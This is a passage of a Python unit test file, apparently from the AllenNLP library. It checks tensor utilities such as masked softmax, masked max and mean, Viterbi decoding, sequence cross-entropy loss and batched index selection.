numpy.array([[0.25, 0.25, 0.25, 0.25]])) # Testing the masked 1D case where there are large elements in the # padding. vector_1d = torch.FloatTensor([[1.0, 1.0, 1e5]]) mask_1d = torch.tensor([[True, True, False]]) vector_1d_softmaxed = util.masked_softmax( vector_1d, mask_1d, memory_efficient=True ).data.numpy() assert_array_almost_equal(vector_1d_softmaxed, numpy.array([[0.5, 0.5, 0]])) # Testing the general masked batched case. matrix = torch.FloatTensor([[1.0, 2.0, 5.0], [1.0, 2.0, 3.0]]) mask = torch.tensor([[True, False, True], [True, True, True]]) masked_matrix_softmaxed = util.masked_softmax( matrix, mask, memory_efficient=True ).data.numpy() assert_array_almost_equal( masked_matrix_softmaxed, numpy.array([[0.01798621, 0.0, 0.98201382], [0.090031, 0.244728, 0.665241]]), ) # Testing the masked batch case where one of the inputs is all 0s but # none of the masks are all 0. matrix = torch.FloatTensor([[0.0, 0.0, 0.0], [1.0, 2.0, 3.0]]) mask = torch.tensor([[True, False, True], [True, True, True]]) masked_matrix_softmaxed = util.masked_softmax( matrix, mask, memory_efficient=True ).data.numpy() assert_array_almost_equal( masked_matrix_softmaxed, numpy.array([[0.5, 0.0, 0.5], [0.090031, 0.244728, 0.665241]]) ) # Testing the masked batch case where one of the inputs is all 0s and # one of the masks are all 0. matrix = torch.FloatTensor([[0.0, 0.0, 0.0], [1.0, 2.0, 3.0]]) mask = torch.tensor([[True, False, True], [False, False, False]]) masked_matrix_softmaxed = util.masked_softmax( matrix, mask, memory_efficient=True ).data.numpy() assert_array_almost_equal( masked_matrix_softmaxed, numpy.array([[0.5, 0.0, 0.5], [0.33333333, 0.33333333, 0.33333333]]), ) matrix = torch.FloatTensor([[0.0, 0.0, 0.0], [1.0, 2.0, 3.0]]) mask = torch.tensor([[False, False, False], [True, False, True]]) masked_matrix_softmaxed = util.masked_softmax( matrix, mask, memory_efficient=True ).data.numpy() assert_array_almost_equal( masked_matrix_softmaxed, numpy.array([[0.33333333, 0.33333333, 0.33333333], [0.11920292, 0.0, 0.88079708]]), ) def test_masked_log_softmax_masked(self): # Tests replicated from test_softmax_masked - we test that exponentiated, # the log softmax contains the correct elements (masked elements should be == 1). # Testing the general masked 1D case. vector_1d = torch.FloatTensor([[1.0, 2.0, 5.0]]) mask_1d = torch.tensor([[True, False, True]]) vector_1d_softmaxed = util.masked_log_softmax(vector_1d, mask_1d).data.numpy() assert_array_almost_equal( numpy.exp(vector_1d_softmaxed), numpy.array([[0.01798621, 0.0, 0.98201382]]) ) vector_1d = torch.FloatTensor([[0.0, 2.0, 3.0, 4.0]]) mask_1d = torch.tensor([[True, False, True, True]]) vector_1d_softmaxed = util.masked_log_softmax(vector_1d, mask_1d).data.numpy() assert_array_almost_equal( numpy.exp(vector_1d_softmaxed), numpy.array([[0.01321289, 0.0, 0.26538793, 0.72139918]]) ) # Testing the masked 1D case where the input is all 0s and the mask # is not all 0s. vector_1d = torch.FloatTensor([[0.0, 0.0, 0.0, 0.0]]) mask_1d = torch.tensor([[False, False, False, True]]) vector_1d_softmaxed = util.masked_log_softmax(vector_1d, mask_1d).data.numpy() assert_array_almost_equal( numpy.exp(vector_1d_softmaxed), numpy.array([[0.0, 0.0, 0.0, 1.0]]) ) # Testing the masked 1D case where the input is not all 0s # and the mask is all 0s. The output here will be arbitrary, but it should not be nan. vector_1d = torch.FloatTensor([[0.0, 2.0, 3.0, 4.0]]) mask_1d = torch.tensor([[False, False, False, False]]) vector_1d_softmaxed = util.masked_log_softmax(vector_1d, mask_1d).data.numpy() assert not numpy.isnan(vector_1d_softmaxed).any() def test_masked_max(self): # Testing the general masked 1D case. vector_1d = torch.FloatTensor([1.0, 12.0, 5.0]) mask_1d = torch.tensor([True, False, True]) vector_1d_maxed = util.masked_max(vector_1d, mask_1d, dim=0).data.numpy() assert_array_almost_equal(vector_1d_maxed, 5.0) # Testing if all masks are zero, the output will be arbitrary, but it should not be nan. vector_1d = torch.FloatTensor([1.0, 12.0, 5.0]) mask_1d = torch.tensor([False, False, False]) vector_1d_maxed = util.masked_max(vector_1d, mask_1d, dim=0).data.numpy() assert not numpy.isnan(vector_1d_maxed).any() # Testing batch value and batch masks matrix = torch.FloatTensor([[1.0, 12.0, 5.0], [-1.0, -2.0, 3.0]]) mask = torch.tensor([[True, False, True], [True, True, False]]) matrix_maxed = util.masked_max(matrix, mask, dim=-1).data.numpy() assert_array_almost_equal(matrix_maxed, numpy.array([5.0, -1.0])) # Testing keepdim for batch value and batch masks matrix = torch.FloatTensor([[1.0, 12.0, 5.0], [-1.0, -2.0, 3.0]]) mask = torch.tensor([[True, False, True], [True, True, False]]) matrix_maxed = util.masked_max(matrix, mask, dim=-1, keepdim=True).data.numpy() assert_array_almost_equal(matrix_maxed, numpy.array([[5.0], [-1.0]])) # Testing broadcast matrix = torch.FloatTensor( [[[1.0, 2.0], [12.0, 3.0], [5.0, -1.0]], [[-1.0, -3.0], [-2.0, -0.5], [3.0, 8.0]]] ) mask = torch.tensor([[True, False, True], [True, True, False]]).unsqueeze(-1) matrix_maxed = util.masked_max(matrix, mask, dim=1).data.numpy() assert_array_almost_equal(matrix_maxed, numpy.array([[5.0, 2.0], [-1.0, -0.5]])) def test_masked_mean(self): # Testing the general masked 1D case. vector_1d = torch.FloatTensor([1.0, 12.0, 5.0]) mask_1d = torch.tensor([True, False, True]) vector_1d_mean = util.masked_mean(vector_1d, mask_1d, dim=0).data.numpy() assert_array_almost_equal(vector_1d_mean, 3.0) # Testing if all masks are zero, the output will be arbitrary, but it should not be nan. vector_1d = torch.FloatTensor([1.0, 12.0, 5.0]) mask_1d = torch.tensor([False, False, False]) vector_1d_mean = util.masked_mean(vector_1d, mask_1d, dim=0).data.numpy() assert not numpy.isnan(vector_1d_mean).any() # Testing batch value and batch masks matrix = torch.FloatTensor([[1.0, 12.0, 5.0], [-1.0, -2.0, 3.0]]) mask = torch.tensor([[True, False, True], [True, True, False]]) matrix_mean = util.masked_mean(matrix, mask, dim=-1).data.numpy() assert_array_almost_equal(matrix_mean, numpy.array([3.0, -1.5])) # Testing keepdim for batch value and batch masks matrix = torch.FloatTensor([[1.0, 12.0, 5.0], [-1.0, -2.0, 3.0]]) mask = torch.tensor([[True, False, True], [True, True, False]]) matrix_mean = util.masked_mean(matrix, mask, dim=-1, keepdim=True).data.numpy() assert_array_almost_equal(matrix_mean, numpy.array([[3.0], [-1.5]])) # Testing broadcast matrix = torch.FloatTensor( [[[1.0, 2.0], [12.0, 3.0], [5.0, -1.0]], [[-1.0, -3.0], [-2.0, -0.5], [3.0, 8.0]]] ) mask = torch.tensor([[True, False, True], [True, True, False]]).unsqueeze(-1) matrix_mean = util.masked_mean(matrix, mask, dim=1).data.numpy() assert_array_almost_equal(matrix_mean, numpy.array([[3.0, 0.5], [-1.5, -1.75]])) def test_masked_flip(self): tensor = torch.FloatTensor( [[[6, 6, 6], [1, 1, 1], [2, 2, 2]], [[3, 3, 3], [4, 4, 4], [5, 5, 5]]] ) solution = [[[6, 6, 6], [0, 0, 0]], [[4, 4, 4], [3, 3, 3]]] response = util.masked_flip(tensor, [1, 2]) assert_almost_equal(response, solution) tensor = torch.FloatTensor( [ [[6, 6, 6], [1, 1, 1], [2, 2, 2], [0, 0, 0]], [[3, 3, 3], [4, 4, 4], [5, 5, 5], [1, 2, 3]], ] ) solution = [ [[2, 2, 2], [1, 1, 1], [6, 6, 6], [0, 0, 0]], [[1, 2, 3], [5, 5, 5], [4, 4, 4], [3, 3, 3]], ] response = util.masked_flip(tensor, [3, 4]) assert_almost_equal(response, solution) tensor = torch.FloatTensor( [ [[6, 6, 6], [1, 1, 1], [2, 2, 2], [0, 0, 0]], [[3, 3, 3], [4, 4, 4], [5, 5, 5], [1, 2, 3]], [[1, 1, 1], [2, 2, 2], [0, 0, 0], [0, 0, 0]], ] ) solution = [ [[2, 2, 2], [1, 1, 1], [6, 6, 6], [0, 0, 0]], [[1, 2, 3], [5, 5, 5], [4, 4, 4], [3, 3, 3]], [[2, 2, 2], [1, 1, 1], [0, 0, 0], [0, 0, 0]], ] response = util.masked_flip(tensor, [3, 4, 2]) assert_almost_equal(response, solution) def test_get_text_field_mask_returns_a_correct_mask(self): text_field_tensors = { "indexer_name": { "tokens": torch.LongTensor([[3, 4, 5, 0, 0], [1, 2, 0, 0, 0]]), "token_characters": torch.LongTensor( [ [[1, 2], [3, 0], [2, 0], [0, 0], [0, 0]], [[5, 0], [4, 6], [0, 0], [0, 0], [0, 0]], ] ), } } assert_almost_equal( util.get_text_field_mask(text_field_tensors).long().numpy(), [[1, 1, 1, 0, 0], [1, 1, 0, 0, 0]], ) def test_get_text_field_mask_returns_a_correct_mask_character_only_input(self): text_field_tensors = { "indexer_name": { "token_characters": torch.LongTensor( [ [[1, 2, 3], [3, 0, 1], [2, 1, 0], [0, 0, 0]], [[5, 5, 5], [4, 6, 0], [0, 0, 0], [0, 0, 0]], ] ) } } assert_almost_equal( util.get_text_field_mask(text_field_tensors).long().numpy(), [[1, 1, 1, 0], [1, 1, 0, 0]], ) def test_get_text_field_mask_returns_a_correct_mask_list_field(self): text_field_tensors = { "indexer_name": { "list_tokens": torch.LongTensor( [ [[1, 2], [3, 0], [2, 0], [0, 0], [0, 0]], [[5, 0], [4, 6], [0, 0], [0, 0], [0, 0]], ] ) } } actual_mask = ( util.get_text_field_mask(text_field_tensors, num_wrapping_dims=1).long().numpy() ) expected_mask = (text_field_tensors["indexer_name"]["list_tokens"].numpy() > 0).astype( "int32" ) assert_almost_equal(actual_mask, expected_mask) def test_get_text_field_mask_returns_mask_key(self): text_field_tensors = { "indexer_name": { "tokens": torch.LongTensor([[3, 4, 5, 0, 0], [1, 2, 0, 0, 0]]), "mask": torch.tensor([[False, False, True]]), } } assert_almost_equal( util.get_text_field_mask(text_field_tensors).long().numpy(), [[0, 0, 1]] ) def test_weighted_sum_works_on_simple_input(self): batch_size = 1 sentence_length = 5 embedding_dim = 4 sentence_array = numpy.random.rand(batch_size, sentence_length, embedding_dim) sentence_tensor = torch.from_numpy(sentence_array).float() attention_tensor = torch.FloatTensor([[0.3, 0.4, 0.1, 0, 1.2]]) aggregated_array = util.weighted_sum(sentence_tensor, attention_tensor).data.numpy() assert aggregated_array.shape == (batch_size, embedding_dim) expected_array = ( 0.3 * sentence_array[0, 0] + 0.4 * sentence_array[0, 1] + 0.1 * sentence_array[0, 2] + 0.0 * sentence_array[0, 3] + 1.2 * sentence_array[0, 4] ) numpy.testing.assert_almost_equal(aggregated_array, [expected_array], decimal=5) def test_weighted_sum_handles_higher_order_input(self): batch_size = 1 length_1 = 5 length_2 = 6 length_3 = 2 embedding_dim = 4 sentence_array = numpy.random.rand(batch_size, length_1, length_2, length_3, embedding_dim) attention_array = numpy.random.rand(batch_size, length_1, length_2, length_3) sentence_tensor = torch.from_numpy(sentence_array).float() attention_tensor = torch.from_numpy(attention_array).float() aggregated_array = util.weighted_sum(sentence_tensor, attention_tensor).data.numpy() assert aggregated_array.shape == (batch_size, length_1, length_2, embedding_dim) expected_array = ( attention_array[0, 3, 2, 0] * sentence_array[0, 3, 2, 0] + attention_array[0, 3, 2, 1] * sentence_array[0, 3, 2, 1] ) numpy.testing.assert_almost_equal(aggregated_array[0, 3, 2], expected_array, decimal=5) def test_weighted_sum_handles_uneven_higher_order_input(self): batch_size = 1 length_1 = 5 length_2 = 6 length_3 = 2 embedding_dim = 4 sentence_array = numpy.random.rand(batch_size, length_3, embedding_dim) attention_array = numpy.random.rand(batch_size, length_1, length_2, length_3) sentence_tensor = torch.from_numpy(sentence_array).float() attention_tensor = torch.from_numpy(attention_array).float() aggregated_array = util.weighted_sum(sentence_tensor, attention_tensor).data.numpy() assert aggregated_array.shape == (batch_size, length_1, length_2, embedding_dim) for i in range(length_1): for j in range(length_2): expected_array = ( attention_array[0, i, j, 0] * sentence_array[0, 0] + attention_array[0, i, j, 1] * sentence_array[0, 1] ) numpy.testing.assert_almost_equal( aggregated_array[0, i, j], expected_array, decimal=5 ) def test_weighted_sum_handles_3d_attention_with_3d_matrix(self): batch_size = 1 length_1 = 5 length_2 = 2 embedding_dim = 4 sentence_array = numpy.random.rand(batch_size, length_2, embedding_dim) attention_array = numpy.random.rand(batch_size, length_1, length_2) sentence_tensor = torch.from_numpy(sentence_array).float() attention_tensor = torch.from_numpy(attention_array).float() aggregated_array = util.weighted_sum(sentence_tensor, attention_tensor).data.numpy() assert aggregated_array.shape == (batch_size, length_1, embedding_dim) for i in range(length_1): expected_array = ( attention_array[0, i, 0] * sentence_array[0, 0] + attention_array[0, i, 1] * sentence_array[0, 1] ) numpy.testing.assert_almost_equal(aggregated_array[0, i], expected_array, decimal=5) def test_viterbi_decode(self): # Test Viterbi decoding is equal to greedy decoding with no pairwise potentials. sequence_logits = torch.nn.functional.softmax(torch.rand([5, 9]), dim=-1) transition_matrix = torch.zeros([9, 9]) indices, _ = util.viterbi_decode(sequence_logits.data, transition_matrix) _, argmax_indices = torch.max(sequence_logits, 1) assert indices == argmax_indices.data.squeeze().tolist() # Test Viterbi decoding works with start and end transitions sequence_logits = torch.nn.functional.softmax(torch.rand([5, 9]), dim=-1) transition_matrix = torch.zeros([9, 9]) allowed_start_transitions = torch.zeros([9]) # Force start tag to be an 8 allowed_start_transitions[:8] = float("-inf") allowed_end_transitions = torch.zeros([9]) # Force end tag to be a 0 allowed_end_transitions[1:] = float("-inf") indices, _ = util.viterbi_decode( sequence_logits.data, transition_matrix, allowed_end_transitions=allowed_end_transitions, allowed_start_transitions=allowed_start_transitions, ) assert indices[0] == 8 assert indices[-1] == 0 # Test that pairwise potentials affect the sequence correctly and that # viterbi_decode can handle -inf values. sequence_logits = torch.FloatTensor( [ [0, 0, 0, 3, 5], [0, 0, 0, 3, 4], [0, 0, 0, 3, 4], [0, 0, 0, 3, 4], [0, 0, 0, 3, 4], [0, 0, 0, 3, 4], ] ) # The same tags shouldn't appear sequentially. transition_matrix = torch.zeros([5, 5]) for i in range(5): transition_matrix[i, i] = float("-inf") indices, _ = util.viterbi_decode(sequence_logits, transition_matrix) assert indices == [4, 3, 4, 3, 4, 3] # Test that unbalanced pairwise potentials break ties # between paths with equal unary potentials. sequence_logits = torch.FloatTensor( [ [0, 0, 0, 4, 4], [0, 0, 0, 4, 4], [0, 0, 0, 4, 4], [0, 0, 0, 4, 4], [0, 0, 0, 4, 4], [0, 0, 0, 4, 4], ] ) # The 5th tag has a penalty for appearing sequentially # or for transitioning to the 4th tag, making the best # path uniquely to take the 4th tag only. transition_matrix = torch.zeros([5, 5]) transition_matrix[4, 4] = -10 transition_matrix[4, 3] = -10 transition_matrix[3, 4] = -10 indices, _ = util.viterbi_decode(sequence_logits, transition_matrix) assert indices == [3, 3, 3, 3, 3, 3] sequence_logits = torch.FloatTensor([[1, 0, 0, 4], [1, 0, 6, 2], [0, 3, 0, 4]]) # Best path would normally be [3, 2, 3] but we add a # potential from 2 -> 1, making [3, 2, 1] the best path. transition_matrix = torch.zeros([4, 4]) transition_matrix[0, 0] = 1 transition_matrix[2, 1] = 5 indices, value = util.viterbi_decode(sequence_logits, transition_matrix) assert indices == [3, 2, 1] assert value.numpy() == 18 # Test that providing evidence results in paths containing specified tags. sequence_logits = torch.FloatTensor( [ [0, 0, 0, 7, 7], [0, 0, 0, 7, 7], [0, 0, 0, 7, 7], [0, 0, 0, 7, 7], [0, 0, 0, 7, 7], [0, 0, 0, 7, 7], ] ) # The 5th tag has a penalty for appearing sequentially # or for transitioning to the 4th tag, making the best # path to take the 4th tag for every label. transition_matrix = torch.zeros([5, 5]) transition_matrix[4, 4] = -10 transition_matrix[4, 3] = -2 transition_matrix[3, 4] = -2 # The 1st, 4th and 5th sequence elements are observed - they should be # equal to 2, 0 and 4. The last tag should be equal to 3, because although # the penalty for transitioning to the 4th tag is -2, the unary potential # is 7, which is greater than the combination for any of the other labels. observations = [2, -1, -1, 0, 4, -1] indices, _ = util.viterbi_decode(sequence_logits, transition_matrix, observations) assert indices == [2, 3, 3, 0, 4, 3] def test_viterbi_decode_top_k(self): # Test cases taken from: https://gist.github.com/PetrochukM/afaa3613a99a8e7213d2efdd02ae4762 # Test Viterbi decoding is equal to greedy decoding with no pairwise potentials. sequence_logits = torch.autograd.Variable(torch.rand([5, 9])) transition_matrix = torch.zeros([9, 9]) indices, _ = util.viterbi_decode(sequence_logits.data, transition_matrix, top_k=5) _, argmax_indices = torch.max(sequence_logits, 1) assert indices[0] == argmax_indices.data.squeeze().tolist() # Test that pairwise potentials effect the sequence correctly and that # viterbi_decode can handle -inf values. sequence_logits = torch.FloatTensor( [ [0, 0, 0, 3, 4], [0, 0, 0, 3, 4], [0, 0, 0, 3, 4], [0, 0, 0, 3, 4], [0, 0, 0, 3, 4], [0, 0, 0, 3, 4], ] ) # The same tags shouldn't appear sequentially. transition_matrix = torch.zeros([5, 5]) for i in range(5): transition_matrix[i, i] = float("-inf") indices, _ = util.viterbi_decode(sequence_logits, transition_matrix, top_k=5) assert indices[0] == [3, 4, 3, 4, 3, 4] # Test that unbalanced pairwise potentials break ties # between paths with equal unary potentials. sequence_logits = torch.FloatTensor( [ [0, 0, 0, 4, 4], [0, 0, 0, 4, 4], [0, 0, 0, 4, 4], [0, 0, 0, 4, 4], [0, 0, 0, 4, 4], [0, 0, 0, 4, 0], ] ) # The 5th tag has a penalty for appearing sequentially # or for transitioning to the 4th tag, making the best # path uniquely to take the 4th tag only. transition_matrix = torch.zeros([5, 5]) transition_matrix[4, 4] = -10 transition_matrix[4, 3] = -10 indices, _ = util.viterbi_decode(sequence_logits, transition_matrix, top_k=5) assert indices[0] == [3, 3, 3, 3, 3, 3] sequence_logits = torch.FloatTensor([[1, 0, 0, 4], [1, 0, 6, 2], [0, 3, 0, 4]]) # Best path would normally be [3, 2, 3] but we add a # potential from 2 -> 1, making [3, 2, 1] the best path. transition_matrix = torch.zeros([4, 4]) transition_matrix[0, 0] = 1 transition_matrix[2, 1] = 5 indices, value = util.viterbi_decode(sequence_logits, transition_matrix, top_k=5) assert indices[0] == [3, 2, 1] assert value[0] == 18 def _brute_decode( tag_sequence: torch.Tensor, transition_matrix: torch.Tensor, top_k: int = 5 ) -> Any: """ Top-k decoder that uses brute search instead of the Viterbi Decode dynamic programing algorithm """ # Create all possible sequences sequences = [[]] # type: ignore for i in range(len(tag_sequence)): new_sequences = [] # type: ignore for j in range(len(tag_sequence[i])): for sequence in sequences: new_sequences.append(sequence[:] + [j]) sequences = new_sequences # Score scored_sequences = [] # type: ignore for sequence in sequences: emission_score = sum(tag_sequence[i, j] for i, j in enumerate(sequence)) transition_score = sum( transition_matrix[sequence[i - 1], sequence[i]] for i in range(1, len(sequence)) ) score = emission_score + transition_score scored_sequences.append((score, sequence)) # Get the top k scores / paths top_k_sequences = sorted(scored_sequences, key=lambda r: r[0], reverse=True)[:top_k] scores, paths = zip(*top_k_sequences) return paths, scores # type: ignore # Run 100 randomly generated parameters and compare the outputs. for i in range(100): num_tags = random.randint(1, 5) seq_len = random.randint(1, 5) k = random.randint(1, 5) sequence_logits = torch.rand([seq_len, num_tags]) transition_matrix = torch.rand([num_tags, num_tags]) viterbi_paths_v1, viterbi_scores_v1 = util.viterbi_decode( sequence_logits, transition_matrix, top_k=k ) viterbi_path_brute, viterbi_score_brute = _brute_decode( sequence_logits, transition_matrix, top_k=k ) numpy.testing.assert_almost_equal( list(viterbi_score_brute), viterbi_scores_v1.tolist(), decimal=3 ) numpy.testing.assert_equal(sanitize(viterbi_paths_v1), viterbi_path_brute) def test_sequence_cross_entropy_with_logits_masks_loss_correctly(self): # test weight masking by checking that a tensor with non-zero values in # masked positions returns the same loss as a tensor with zeros in those # positions. tensor = torch.rand([5, 7, 4]) tensor[0, 3:, :] = 0 tensor[1, 4:, :] = 0 tensor[2, 2:, :] = 0 tensor[3, :, :] = 0 weights = (tensor != 0.0)[:, :, 0].long().squeeze(-1) tensor2 = tensor.clone() tensor2[0, 3:, :] = 2 tensor2[1, 4:, :] = 13 tensor2[2, 2:, :] = 234 tensor2[3, :, :] = 65 targets = torch.LongTensor(numpy.random.randint(0, 3, [5, 7])) targets *= weights loss = util.sequence_cross_entropy_with_logits(tensor, targets, weights) loss2 = util.sequence_cross_entropy_with_logits(tensor2, targets, weights) assert loss.data.numpy() == loss2.data.numpy() def test_sequence_cross_entropy_with_logits_smooths_labels_correctly(self): tensor = torch.rand([1, 3, 4]) targets = torch.LongTensor(numpy.random.randint(0, 3, [1, 3])) weights = torch.ones([2, 3]) loss = util.sequence_cross_entropy_with_logits( tensor, targets, weights, label_smoothing=0.1 ) correct_loss = 0.0 for prediction, label in zip(tensor.squeeze(0), targets.squeeze(0)): prediction = torch.nn.functional.log_softmax(prediction, dim=-1) correct_loss += prediction[label] * 0.9 # incorrect elements correct_loss += prediction.sum() * 0.1 / 4 # Average over sequence. correct_loss = -correct_loss / 3 numpy.testing.assert_array_almost_equal(loss.data.numpy(), correct_loss.data.numpy()) def test_sequence_cross_entropy_with_logits_averages_batch_correctly(self): # test batch average is the same as dividing the batch averaged # loss by the number of batches containing any non-padded tokens. tensor = torch.rand([5, 7, 4]) tensor[0, 3:, :] = 0 tensor[1, 4:, :] = 0 tensor[2, 2:, :] = 0 tensor[3, :, :] = 0 weights = (tensor != 0.0)[:, :, 0].long().squeeze(-1) targets = torch.LongTensor(numpy.random.randint(0, 3, [5, 7])) targets *= weights loss = util.sequence_cross_entropy_with_logits(tensor, targets, weights) vector_loss = util.sequence_cross_entropy_with_logits( tensor, targets, weights, average=None ) # Batch has one completely padded row, so divide by 4. assert loss.data.numpy() == vector_loss.sum().item() / 4 @flaky(max_runs=3, min_passes=1) def test_sequence_cross_entropy_with_logits_averages_token_correctly(self): # test token average is the same as multiplying the per-batch loss # with the per-batch weights and dividing by the total weight tensor = torch.rand([5, 7, 4]) tensor[0, 3:, :] = 0 tensor[1, 4:, :] = 0 tensor[2, 2:, :] = 0 tensor[3, :, :] = 0 weights = (tensor != 0.0)[:, :, 0].long().squeeze(-1) targets = torch.LongTensor(numpy.random.randint(0, 3, [5, 7])) targets *= weights loss = util.sequence_cross_entropy_with_logits(tensor, targets, weights, average="token") vector_loss = util.sequence_cross_entropy_with_logits( tensor, targets, weights, average=None ) total_token_loss = (vector_loss * weights.float().sum(dim=-1)).sum() average_token_loss = (total_token_loss / weights.float().sum()).detach() assert_almost_equal(loss.detach().item(), average_token_loss.item(), decimal=5) def test_sequence_cross_entropy_with_logits_gamma_correctly(self): batch = 1 length = 3 classes = 4 gamma = abs(numpy.random.randn()) # [0, +inf) tensor = torch.rand([batch, length, classes]) targets = torch.LongTensor(numpy.random.randint(0, classes, [batch, length])) weights = torch.ones([batch, length]) loss = util.sequence_cross_entropy_with_logits(tensor, targets, weights, gamma=gamma) correct_loss = 0.0 for logit, label in zip(tensor.squeeze(0), targets.squeeze(0)): p = torch.nn.functional.softmax(logit, dim=-1) pt = p[label] ft = (1 - pt) ** gamma correct_loss += -pt.log() * ft # Average over sequence. correct_loss = correct_loss / length numpy.testing.assert_array_almost_equal(loss.data.numpy(), correct_loss.data.numpy()) def test_sequence_cross_entropy_with_logits_alpha_float_correctly(self): batch = 1 length = 3 classes = 2 # alpha float for binary class only alpha = ( numpy.random.rand() if numpy.random.rand() > 0.5 else (1.0 - numpy.random.rand()) ) # [0, 1] tensor = torch.rand([batch, length, classes]) targets = torch.LongTensor(numpy.random.randint(0, classes, [batch, length])) weights = torch.ones([batch, length]) loss = util.sequence_cross_entropy_with_logits(tensor, targets, weights, alpha=alpha) correct_loss = 0.0 for logit, label in zip(tensor.squeeze(0), targets.squeeze(0)): logp = torch.nn.functional.log_softmax(logit, dim=-1) logpt = logp[label] if label: at = alpha else: at = 1 - alpha correct_loss += -logpt * at # Average over sequence. correct_loss = correct_loss / length numpy.testing.assert_array_almost_equal(loss.data.numpy(), correct_loss.data.numpy()) def test_sequence_cross_entropy_with_logits_alpha_single_float_correctly(self): batch = 1 length = 3 classes = 2 # alpha float for binary class only alpha = ( numpy.random.rand() if numpy.random.rand() > 0.5 else (1.0 - numpy.random.rand()) ) # [0, 1] alpha = torch.tensor(alpha) tensor = torch.rand([batch, length, classes]) targets = torch.LongTensor(numpy.random.randint(0, classes, [batch, length])) weights = torch.ones([batch, length]) loss = util.sequence_cross_entropy_with_logits(tensor, targets, weights, alpha=alpha) correct_loss = 0.0 for logit, label in zip(tensor.squeeze(0), targets.squeeze(0)): logp = torch.nn.functional.log_softmax(logit, dim=-1) logpt = logp[label] if label: at = alpha else: at = 1 - alpha correct_loss += -logpt * at # Average over sequence. correct_loss = correct_loss / length numpy.testing.assert_array_almost_equal(loss.data.numpy(), correct_loss.data.numpy()) def test_sequence_cross_entropy_with_logits_alpha_list_correctly(self): batch = 1 length = 3 classes = 4 # alpha float for binary class only alpha = abs(numpy.random.randn(classes)) # [0, +inf) tensor = torch.rand([batch, length, classes]) targets = torch.LongTensor(numpy.random.randint(0, classes, [batch, length])) weights = torch.ones([batch, length]) loss = util.sequence_cross_entropy_with_logits(tensor, targets, weights, alpha=alpha) correct_loss = 0.0 for logit, label in zip(tensor.squeeze(0), targets.squeeze(0)): logp = torch.nn.functional.log_softmax(logit, dim=-1) logpt = logp[label] at = alpha[label] correct_loss += -logpt * at # Average over sequence. correct_loss = correct_loss / length numpy.testing.assert_array_almost_equal(loss.data.numpy(), correct_loss.data.numpy()) def test_replace_masked_values_replaces_masked_values_with_finite_value(self): tensor = torch.FloatTensor([[[1, 2, 3, 4], [5, 6, 7, 8], [9, 10, 11, 12]]]) mask = torch.tensor([[True, True, False]]) replaced = util.replace_masked_values(tensor, mask.unsqueeze(-1), 2).data.numpy() assert_almost_equal(replaced, [[[1, 2, 3, 4], [5, 6, 7, 8], [2, 2, 2, 2]]]) def test_logsumexp(self): # First a simple example where we add probabilities in log space. tensor = torch.FloatTensor([[0.4, 0.1, 0.2]]) log_tensor = tensor.log() log_summed = util.logsumexp(log_tensor, dim=-1, keepdim=False) assert_almost_equal(log_summed.exp().data.numpy(), [0.7]) log_summed = util.logsumexp(log_tensor, dim=-1, keepdim=True) assert_almost_equal(log_summed.exp().data.numpy(), [[0.7]]) # Then some more atypical examples, and making sure this will work with how we handle # log masks. tensor = torch.FloatTensor([[float("-inf"), 20.0]]) assert_almost_equal(util.logsumexp(tensor).data.numpy(), [20.0]) tensor = torch.FloatTensor([[-200.0, 20.0]]) assert_almost_equal(util.logsumexp(tensor).data.numpy(), [20.0]) tensor = torch.FloatTensor([[20.0, 20.0], [-200.0, 200.0]]) assert_almost_equal(util.logsumexp(tensor, dim=0).data.numpy(), [20.0, 200.0]) def test_flatten_and_batch_shift_indices(self): indices = numpy.array( [[[1, 2, 3, 4], [5, 6, 7, 8], [9, 9, 9, 9]], [[2, 1, 0, 7], [7, 7, 2, 3], [0, 0, 4, 2]]] ) indices = torch.tensor(indices, dtype=torch.long) shifted_indices = util.flatten_and_batch_shift_indices(indices, 10) numpy.testing.assert_array_equal( shifted_indices.data.numpy(), numpy.array( [1, 2, 3, 4, 5, 6, 7, 8, 9, 9, 9, 9, 12, 11, 10, 17, 17, 17, 12, 13, 10, 10, 14, 12] ), ) def test_batched_index_select(self): indices = numpy.array([[[1, 2], [3, 4]], [[5, 6], [7, 8]]]) # Each element is a vector of its index. targets = torch.ones([2, 10, 3]).cumsum(1) - 1 # Make the second batch double its index so they're different. targets[1, :, :] *= 2 indices = torch.tensor(indices, dtype=torch.long) selected = util.batched_index_select(targets, indices) assert list(selected.size()) == [2, 2, 2, 3] ones = numpy.ones([3]) numpy.testing.assert_array_equal(selected[0, 0, 0, :].data.numpy(), ones) numpy.testing.assert_array_equal(selected[0, 0, 1, :].data.numpy(), ones * 2) numpy.testing.assert_array_equal(selected[0, 1, 0, :].data.numpy(), ones * 3) numpy.testing.assert_array_equal(selected[0, 1, 1, :].data.numpy(), ones * 4) numpy.testing.assert_array_equal(selected[1, 0, 0, :].data.numpy(), ones * 10) numpy.testing.assert_array_equal(selected[1, 0, 1, :].data.numpy(), ones * 12) numpy.testing.assert_array_equal(selected[1, 1, 0, :].data.numpy(), ones * 14) numpy.testing.assert_array_equal(selected[1, 1, 1, :].data.numpy(), ones * 16) indices = numpy.array([[[1, 11], [3, 4]], [[5, 6], [7, 8]]]) indices = torch.tensor(indices, dtype=torch.long) with pytest.raises(ConfigurationError): util.batched_index_select(targets, indices) indices = numpy.array([[[1, -1], [3, 4]], [[5, 6], [7, 8]]]) indices = torch.tensor(indices, dtype=torch.long) with pytest.raises(ConfigurationError): util.batched_index_select(targets, indices) def test_batched_span_select(self): # Each element is a vector of its index. targets = torch.ones([3, 12, 2]).cumsum(1) - 1 spans = torch.LongTensor( [ [[0, 0], [1, 2], [5, 8], [10, 10]], [[i, i] for i in range(3, -1, -1)], [[0, 3], [1, 4], [2, 5], [10, 11]], ] ) selected, mask = util.batched_span_select(targets, spans) selected = torch.where(mask.unsqueeze(-1), selected, torch.empty_like(selected).fill_(-1)) numpy.testing.assert_array_equal( selected, [ [ [[0, 0], [-1, -1], [-1, -1], [-1, -1]], [[2, 2], [1, 1], [-1, -1], [-1, -1]], [[8, 8], [7, 7], [6, 6], [5, 5]], [[10, 10], [-1, -1], [-1, -1], [-1, -1]], ], [[[i, i], [-1, -1], [-1, -1], [-1, -1]] for i in range(3, -1, -1)], [ [[3, 3], [2, 2], [1, 1], [0, 0]], [[4, 4], [3, 3], [2, 2], [1, 1]], [[5, 5], [4, 4], [3, 3], [2, 2]], [[11, 11], [10, 10], [-1, -1], [-1, -1]], ], ], ) def test_flattened_index_select(self): indices = numpy.array([[1, 2], [3, 4]]) targets = torch.ones([2, 6, 3]).cumsum(1) - 1 # Make the second batch double its index so they're different. targets[1, :, :] *= 2 